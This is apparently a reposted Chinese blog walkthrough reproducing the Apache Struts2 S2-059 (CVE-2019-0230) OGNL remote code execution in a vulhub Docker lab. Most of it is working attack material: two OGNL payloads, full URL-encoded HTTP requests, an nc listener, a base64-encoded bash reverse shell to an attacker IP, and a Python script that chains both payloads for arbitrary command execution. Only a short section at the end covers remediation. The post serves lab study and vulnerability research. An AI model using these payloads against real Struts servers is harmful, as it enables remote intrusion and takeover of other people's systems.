[vulhub漏洞复现篇]struts2远程代码执行漏洞s2-059(CVE-2019-0230)
- 开源代码
- 2025-08-21 05:15:02
![[vulhub漏洞复现篇]struts2远程代码执行漏洞s2-059(CVE-2019-0230)](/0pic/pp_89.jpg)
🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~ ✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋 🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋 🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录 🍬 博主介绍一、漏洞编号二、影响范围三、漏洞描述四、环境搭建1、进入s2-059环境2、启动s2-059环境3、查看s2-059环境4、访问s2-059环境5、查看s2-059漏洞提示信息6、关闭s2-059环境 五、漏洞复现1、验证漏洞存在2、POC1.POC1 3、在/tmp目录下创建PowerShell.txt文件1.构造请求包执行POC12.构造请求包执行POC23.文件创建成功 六、getshell1、攻击机监听2、靶机连接1.反弹shell命令2.exec编码3.构造payload4.url编码5.使用bp重放攻击执行命令 3、getshell成功七、python脚本八、漏洞修复九、相关资源 一、漏洞编号 s2-059 CVE-2019-0230 二、影响范围 Apache Struts 2.0.0-2.5.20 三、漏洞描述漏洞产生的主要原因是因为Apache Struts框架在强制执行时,会对分配给某些标签属性(如id)的属性值执行二次ognl解析。攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。
四、环境搭建 1、进入s2-059环境 cd vulhub/struts2/s2-059 2、启动s2-059环境 docker-compose up -d 3、查看s2-059环境 docker-compose ps 4、访问s2-059环境http://ip:端口/
http://192.168.233.128:8080/ 5、查看s2-059漏洞提示信息 cat README.md 6、关闭s2-059环境复现完记得关闭环境
docker-compose down 五、漏洞复现 1、验证漏洞存在http://ip:8080/?id=漏洞点 做一个简单的计算,看会不会执行,只要执行了,那么漏洞就存在
http://192.168.233.128:8080/?id=%25{111*2}直接访问,可以发现执行的111+222成功被解析了,会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析。 且我们可以在源代码中查看其值,证明漏洞确实存在。
2、POC这里需要用到两POC
1.POC1 %{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))} ### 2.POC2 ```bash %{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('命令'))} 3、在/tmp目录下创建PowerShell.txt文件 1.构造请求包执行POC1记得要对POC进行url编码,我这里就不详细编写了,编码工具我在文末给出。 需要执行完POC1,POC2才能生效,才能实现任意命令执行。
GET /?id=%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.setExcludedClasses('')).(%23ognlUtil.setExcludedPackageNames(''))%7D HTTP/1.1 Host: 192.168.233.128:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0azratig83axx86y1goqn3tpf0.node0 Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache 2.构造请求包执行POC2因为是没有回显的,所以我们创建一个文件,直接在exec后面接touch /tmp/PowerShell.txt就行,记得要进行url编码。
GET /?id=%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23context.setMemberAccess(%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)).(%40java.lang.Runtime%40getRuntime().exec('touch%20%2Ftmp%2FPowerShell.txt'))%7D HTTP/1.1 Host: 192.168.233.128:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0azratig83axx86y1goqn3tpf0.node0 Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache 3.文件创建成功进入容器查看确认文件创建成功
docker ps docker exec -it 容器ID /bin/bash ls /tmp 六、getshell 1、攻击机监听 nc -lvvp 55555Nc反弹shell在文末给出
2、靶机连接 1.反弹shell命令Bash反弹shell详解在文末给出
bash -i >& /dev/tcp/192.168.233.1/55555 0>&1 2.exec编码编码工具在文末给出
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA+JjE=}|{base64,-d}|{bash,-i} 3.构造payload %{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'))} 4.url编码Get型需要进行url编码,编码工具在文末给出
%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23context.setMemberAccess(%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)).(%40java.lang.Runtime%40getRuntime().exec('bash%2520-c%2520%257Becho%252CYmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA%252BJjE%253D%257D%257C%257Bbase64%252C-d%257D%257C%257Bbash%252C-i%257D'))%7D 5.使用bp重放攻击执行命令我们前面执行过POC1了,我们这里就只执行了POC2。
GET /?id=%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23context.setMemberAccess(%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)).(%40java.lang.Runtime%40getRuntime().exec('bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'))%7D HTTP/1.1 Host: 192.168.233.128:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0azratig83axx86y1goqn3tpf0.node0 Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache 3、getshell成功等一会儿之后发现shell反弹过来了
执行ls /tmp发现我们之前创建的文件
七、python脚本这个python脚本会跑两个上面我们用到的两个POC,我们只需要修改data2中的命令就可以实现任意命令执行,这里我就不详细描述了,可以自己尝试一下。
import requests url = "http://192.168.233.128:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch 命令'))}" } res1 = requests.post(url, data=data1) # print(res1.text) res2 = requests.post(url, data=data2) # print(res2.text) 八、漏洞修复1.升级到最新版本 2.开启ONGL表达式注入保护措施。
九、相关资源1、docker 搭建 vulhub 靶场环境 2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接) 3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接) 4、[ 隧道技术 ] 反弹shell的集中常见方式(二)bash 反弹shell 5、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell 6、Exec编码工具 7、Url编码工具
[vulhub漏洞复现篇]struts2远程代码执行漏洞s2-059(CVE-2019-0230)由讯客互联开源代码栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“[vulhub漏洞复现篇]struts2远程代码执行漏洞s2-059(CVE-2019-0230)”
上一篇
所谓工作能力强,其实就这五点
下一篇
python实现新年倒计时代码